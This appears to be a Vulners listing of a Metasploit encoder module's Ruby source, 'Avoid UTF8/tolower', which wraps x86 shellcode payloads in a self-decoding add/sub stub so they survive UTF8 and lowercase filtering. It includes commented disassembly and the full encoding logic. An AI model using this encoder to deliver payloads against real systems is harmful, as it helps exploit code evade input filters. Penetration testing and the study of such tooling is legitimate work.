Lucene search
K

Avoid UTF8/tolower

🗓️ 14 Aug 2006 08:55:37Reported by skape <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 16 Views

Avoid UTF8/tolower encoder limitation

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# NOTE: Read this if you plan on using this encoder:
#
# This encoder has some limitations that must be considered.  First, this
# encoder cannot be used with all of the payloads included in the framework.
# Most notably, this includes windows/shell_reverse_tcp.  The reason for this
# is that some payloads are of a size that leads to a bad character (uppercase
# character) being generated in the decoder stub header.
#
# A second thing to consider is that some IP addresses used in payloads are
# incompatible with this encoder depending on their alignment within the
# payload.  For example, the use of 127.0.0.1 may not work due to the fact
# that it's impossible to reach the bytes 127, 0, and 1 in a single add or sub
# due to the algorithm that this encoder uses.
#
# Here's a description of how it works:
#
# This encoder is pretty lame.  It has a huge size overhead.  Alas, it
# does produce tolower safe and UTF8 safe payloads.  The decoder itself is
# split into three distinct chunks.  The first chunk is the header, the second
# chunk is the inline-decoding, and the third chunk is where the decoded data
# is persisted.  Unlike most encoders, this encoder does not use any branch
# instructions and instead runs into the decoded data after it completes due
# to the fact that it is decoding inline.
#
# The basic approach taken to implement the encoder is this.  First, the
# decoder header assumes that a register (ecx) points to the first byte
# in the decoder stub.  It then proceeds to calculate the offset to the
# third chunk of the decoder (the persisted data) and updates the context
# register (ecx) to point to the first byte of the third chunk of the decoder
# stub.  Following that, the second chunk of the decoder begins executing
# which uses a series of add or subtract operations on the third chunk of the
# decoder to produce the actual opcodes of the encoded payload.  For each four
# bytes of encoded data, a sub or add instruction is used in combination with
# complementary information stored in the third chunk of the decoder.
#
# For example, in order to produce 0x01fdfeff one could do the following:
#
#   0x5e096f7c
# - 0x5c0b707d
# ------------
#   0x01fdfeff
#
# After all of the inline decoding operations complete, the payload should
# simply fall through into the now-decoded payload that was stored in the
# third chunk of the decoder.
#
# The following is an example encoding of:
#
# "\xcc\x41\xcc\x41\xcc\x41\xcc\x41\xff\xfe\xfd\x01\xff\x02\x82\x4c"
#
# 00000000  6A04              push byte +0x4
# 00000002  6B3C240B          imul edi,[esp],byte +0xb
# 00000006  60                pusha
# 00000007  030C24            add ecx,[esp]
# 0000000A  6A11              push byte +0x11
# 0000000C  030C24            add ecx,[esp]
# 0000000F  6A04              push byte +0x4
# 00000011  68640F5F31        push dword 0x315f0f64
# 00000016  5F                pop edi
# 00000017  0139              add [ecx],edi
# 00000019  030C24            add ecx,[esp]
# 0000001C  6870326B32        push dword 0x326b3270
# 00000021  5F                pop edi
# 00000022  0139              add [ecx],edi
# 00000024  030C24            add ecx,[esp]
# 00000027  687D700B5C        push dword 0x5c0b707d
# 0000002C  5F                pop edi
# 0000002D  2939              sub [ecx],edi
# 0000002F  030C24            add ecx,[esp]
# 00000032  6804317F32        push dword 0x327f3104
# 00000037  5F                pop edi
# 00000038  2939              sub [ecx],edi
# 0000003A  030C24            add ecx,[esp]
# 0000003D  68326D105C        push dword 0x5c106d32
# 00000042  0F610F            punpcklwd mm1,[edi]
# 00000045  7C6F              jl 0xb6
# 00000047  095E03            or [esi+0x3],ebx
# 0000004A  3401              xor al,0x1
# 0000004C  7F                db 0x7F
#
class MetasploitModule < Msf::Encoder

  # This encoder has a manual ranking because it should only be used in cases
  # where information has been explicitly supplied, like the BufferOffset.
  Rank = ManualRanking

  def initialize
    super(
      'Name'             => 'Avoid UTF8/tolower',
      'Description'      => 'UTF8 Safe, tolower Safe Encoder',
      'Author'           => 'skape',
      'Arch'             => ARCH_X86,
      'License'          => MSF_LICENSE,
      'EncoderType'      => Msf::Encoder::Type::NonUpperUtf8Safe,
      'Decoder'          =>
        {
          'KeySize'    => 4,
          'BlockSize'  => 4,
        })
  end

  #
  # Returns the decoder stub that is adjusted for the size of
  # the buffer being encoded
  #
  def decoder_stub(state)
    len = ((state.buf.length + 3) & (~0x3)) / 4

    # Grab the number of additional bytes that we need to adjust by in order
    # to get the context register to point immediately after the stub header
    off = (datastore['BufferOffset'] || 0).to_i

    # Check to make sure that the length is a valid size
    if is_badchar(state, len)
      raise EncodingError.new("The payload being encoded is of an incompatible size (#{len} bytes)")
    end

    decoder =
      "\x6a" + [len].pack('C')      +  # push len
      "\x6b\x3c\x24\x0b"            +  # imul 0xb
      "\x60"                        +  # pusha
      "\x03\x0c\x24"                +  # add ecx, [esp]
      "\x6a" + [0x11+off].pack('C') +  # push byte 0x11 + off
      "\x03\x0c\x24"                +  # add ecx, [esp]
      "\x6a\x04"                       # push byte 0x4

    # encoded sled
    state.context = ''

    return decoder
  end

  def encode_block(state, block)
    buf = try_add(state, block)

    if (buf.nil?)
      buf = try_sub(state, block)
    end

    if (buf.nil?)
      raise BadcharError.new(state.encoded, 0, 0, 0)
    end

    buf
  end

  #
  # Appends the encoded context portion.
  #
  def encode_end(state)
    state.encoded += state.context
  end

  #
  # Generate the instructions that will be used to produce a valid
  # block after decoding using the sub instruction in conjunction with
  # two UTF8/tolower safe values.
  #
  def try_sub(state, block)
    buf   = "\x68";
    vbuf  = ''
    ctx   = ''
    carry = 0

    block.each_byte { |b|
      # It's impossible to reach 0x7f, 0x80, 0x81 with two subs
      # of a value that is < 0x80 without NULLs.
      return nil if (b == 0x80 or b == 0x81 or b == 0x7f)

      x          = 0
      y          = 0
      attempts   = 0
      prev_carry = carry

      begin
        carry = prev_carry

        if (b > 0x80)
          diff  = 0x100 - b
          y     = rand(0x80 - diff - 1).to_i + 1
          x     = (0x100 - (b - y + carry))
          carry = 1
        else
          diff  = 0x7f - b
          x     = rand(diff - 1) + 1
          y     = (b + x + carry) & 0xff
          carry = 0
        end

        attempts += 1

        # Lame.
        return nil if (attempts > 512)

      end while (is_badchar(state, x) or is_badchar(state, y))

      vbuf += [x].pack('C')
      ctx  += [y].pack('C')
    }

    buf += vbuf + "\x5f\x29\x39\x03\x0c\x24"

    state.context += ctx

    return buf

  end

  #
  # Generate instructions that will be used to produce a valid block after
  # decoding using the add instruction in conjunction with two UTF8/tolower
  # safe values.
  #
  def try_add(state, block)
    buf  = "\x68"
    vbuf = ''
    ctx  = ''

    block.each_byte { |b|
      # It's impossible to produce 0xff and 0x01 using two non-NULL,
      # tolower safe, and UTF8 safe values.
      return nil if (b == 0xff or b == 0x01 or b == 0x00)

      attempts = 0

      begin
        xv = rand(b - 1) + 1

        attempts += 1

        # Lame.
        return nil if (attempts > 512)

      end while (is_badchar(state, xv) or is_badchar(state, b - xv))

      vbuf += [xv].pack('C')
      ctx  += [b - xv].pack('C')
    }

    buf += vbuf + "\x5f\x01\x39\x03\x0c\x24"

    state.context += ctx

    return buf
  end

  def is_badchar(state, val)
    ((val >= 0x41 and val <= 0x5a) or val >= 0x80) or Rex::Text.badchar_index([val].pack('C'), state.badchars)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation